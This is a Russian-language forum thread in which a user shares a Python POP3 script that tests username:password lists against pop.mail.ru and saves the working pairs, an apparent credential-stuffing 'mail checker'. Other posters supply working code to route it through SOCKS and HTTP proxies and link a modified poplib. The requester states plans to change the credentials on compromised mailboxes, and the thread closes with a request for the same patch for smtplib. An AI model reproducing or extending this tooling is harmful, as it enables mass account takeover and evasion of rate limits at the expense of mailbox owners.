как этот скрипт модифицировать на роботу через прокси Code: #!/usr/bin/env python # -*- coding: utf-8 -*- import poplib, email # Учетные данные пользователя: SERVER = "pop.mail.ru" import sys import string try: filename = sys.argv[1] print "Используеться файл с данными " + filename except IndexError: print "Используется стандартный файл с данными input.txt" filename="input.txt" try: f1 = open(filename, "r") f_good = open("good.txt", "w") except IOError: print "Чёта я файл открыть немогу :(" exit(1) while 1: temp = f1.readline() if not temp: break USERNAME = temp[0:temp.find(":")].strip() if (len(USERNAME) < 3): continue USERPASSWORD = temp[(temp.find(":")+1):-1].strip() if (len(USERPASSWORD) < 3): continue p = poplib.POP3(SERVER) print p.getwelcome() try: print p.user(USERNAME) print p.pass_(USERPASSWORD) print p.quit() f_good.write(temp) except: print "Пароль неподошол" накатал седня утречком, а как работать с проксей на питоне незнаю. Если работу через прокси можно легко внести сюда то может кто покажет как, если сложно то мож кто знает материальчик хороший на эту тему ?
Два варианта - первый принудительно указывать переменную окружения (не факт что сработает). Второй - Socksipy, но придется модифицировать poplib, а точнее обезьянопатчить Вот тебе метод Code: def __init__(self, host, port=POP3_PORT, timeout=socket._GLOBAL_DEFAULT_TIMEOUT): self.host = host self.port = port self.sock = socket.create_connection((host, port), timeout) self.file = self.sock.makefile('rb') self._debugging = 0 self.welcome = self._getresp() В принципе вполне хватит его заманкипатчить (с socksipy) Ага, и да, катят только прокси с незарезанным методом CONNECT (в принципе другие и не прокатят и так) В принципе в этих библиотеках больше доков чем кода. Можна и саму библиотеку немного переписать под socksipy(но она херовая сама по себе )
Бла-бла-бла От пиздёжа к делу. Необходима socksipy : Code: #!/usr/bin/env python # -*- coding: utf-8 -*- import poplib import socks def create_connection((host, port), timeout): proxy_addr = "0.0.0.0"#Адрес прокси-сервера proxy_port = 8080#Порт прокси-сервера (типа int) proxy_type = 3#Тип прокси-сервера (1-SOCKS5, 2-SOCKS4, 3-HTTP с разрешенным методом CONNECT) soket = socks.socksocket() #Создание обьекта socksocket из socksipy soket.setproxy(proxytype=proxy_type, addr=proxy_addr, port=proxy_port)#Установка прокси для него soket.connect((host, port))#Вызов его метода connect return soket#Возврат сокета из функции poplib.socket.create_connection = create_connection Вот тебе манкипатч. После него пишешь весь свой код (естественно не импортируя повторно poplib ) Проверил только что. Как уже видно, он патчит метод create_connection из модуля socket, этот метод в библиотеке используется один раз - в атрибуте, который я указал выше. Вроде работает. Для себя - самое то, большего не нужно. Для использования в более высоких целях - не катит ибо там саму socksipy нужно патчить под голимые пабликовые прокси.
Спасибо, домой приду попробую. А может тогда будет правильно переквалифицировать скрипт на более сложную логику через socket, там то это уже наверно можно делать легально с помощью библиотечных функций. Точнее я так и буду теперь делать, просто интерестно заранее узнать как там с этим?
Не вижу смысла усложнять. poplib там и так элементарная. Можно ей просто этот манкипатч всунуть в код да и все будет sockpoplib Переписать будет несложно Этот патч будет нормально работать так как этот метод вызывается только один раз. Просто в зависимости от целей нужно что-то думать. Подскажи для чего оно нужно и подумаем, имеет ли смысл ее модифицировать. А насчет socksipy то она работает как надстройка над socket . Там парочка методов которые ничего особого не делают. Они только отправляют инициирующий запрос на соединение прокси/сокс-серверу, а потом просто связывают свой внутренний сокет с этим проксиком. Оно все прозрачно и красиво, но для моих целей неюзабельно ибо неустойчиво + еще пару минусов. Я вообще задумался над написанием своего собственного модуля для работы с хттп протоколом (хотя бы начального уровня, для своих потребностей) Хотя и планов то у меня как у Наполеона
ну как бы банально это не было, хочу свой чекер мыл сделать для него этот метод как раз то самое. Но если учитывать Наполеоновкие планы то возможно когда то в будущем сделать скрипт по изменению аутентификационных данных на good-мылах, хотя подумал и решил что правильней сначала прочекать а уже в другом скрипте можно и менять данные (но мож отпустит, и перехочется этим заниматься) так что остановлюсь на твоем методе.
Подумал на досуге и понял что такой метод не канает, модификация идет глобальная а нужна локальная для каждого потока. если например сделать параметр прокси передаваемый в эту функцию а не статический то придеться модифицировать часть стандартных функций библиотеки что вообще ни есть гуд. Может есть у кого еще идеи, как работают аналогичные чекеры ?
Предлагю таки модифицировать poplib под свои нужды Могу завтра по свободе заняться. Только чур не ругаться потом на socksipy. Если нужно могу выложить свой немного поправленный прокси-чекер с модифицированной socksipy (правда там есть один нюанс - то ли криво работает Socksipy, то ли httplib2 (использовал socksipy в связке с ней), но я от этого варианта отказался из-за редкостной глючности). Прокси-чекер это класс а не приложение . Вроде я его еще не удалил.
http://dl.dropbox.com/u/381215/sockspoplib.zip Минимальные изменения в poplib (в предела патча+замечен один баг в самой poplib =/)
выкладывай, думаю лишнем не будет. А что ты подразумеваешь под "модифицированной" библиотекой ? Это переопределенные функции в самом коде скрипта (по типу как ты сделал create_connection) или в самой библиотеке поправлено что то ?
Это замена метода __init__ на вот такой : Code: def __init__(self, host, port=POP3_PORT, timeout=socket._GLOBAL_DEFAULT_TIMEOUT, proxytype=None, proxyaddr=None, proxyport=None): self.host = host self.port = port self.sock = socks.socksocket() self.sock.setproxy(proxytype=proxytype, addr=proxyaddr, port=proxyport, rdns=True) self.sock.connect((host, port)) if isinstance(timeout, int) or isinstance(timeout, str) or isinstance(timeout, float): self.sock.settimeout(float(timeout)) self.file = self.sock.makefile('rb') self._debugging = 0 self.welcome = self._getresp() И добавление пары дополнительных атрибутов в саму poplib Code: HTTP_PROXY = socks.PROXY_TYPE_HTTP SOCKS4_PROXY = socks.PROXY_TYPE_SOCKS4 SOCKS5_PROXY = socks.PROXY_TYPE_SOCKS5 Пример использования : Code: #!/usr/bin/env python # -*- coding: utf-8 -*- import sockspoplib proxy_addr = "10.10.31.103" proxy_type = sockspoplib.HTTP_PROXY proxy_port = 3128 SERVER = "pop.mail.ru" p = sockspoplib.POP3(SERVER, proxytype=proxy_type, proxyaddr=proxy_addr, proxyport=proxy_port) print p.getwelcome() Авторизация на прокси добавляется добавлением дополнительных параметров, но в твоих целях это неважно. П.С. Прокси-чекером не обрадую, ибо таки по ходу снес. Гляну еще дома - мб там завалялось.
А не мог бы ты для smtplib подобный патч набросать? Пытаюсь разобраться сам, но пока путаюсь в этих _get_socket и т.д.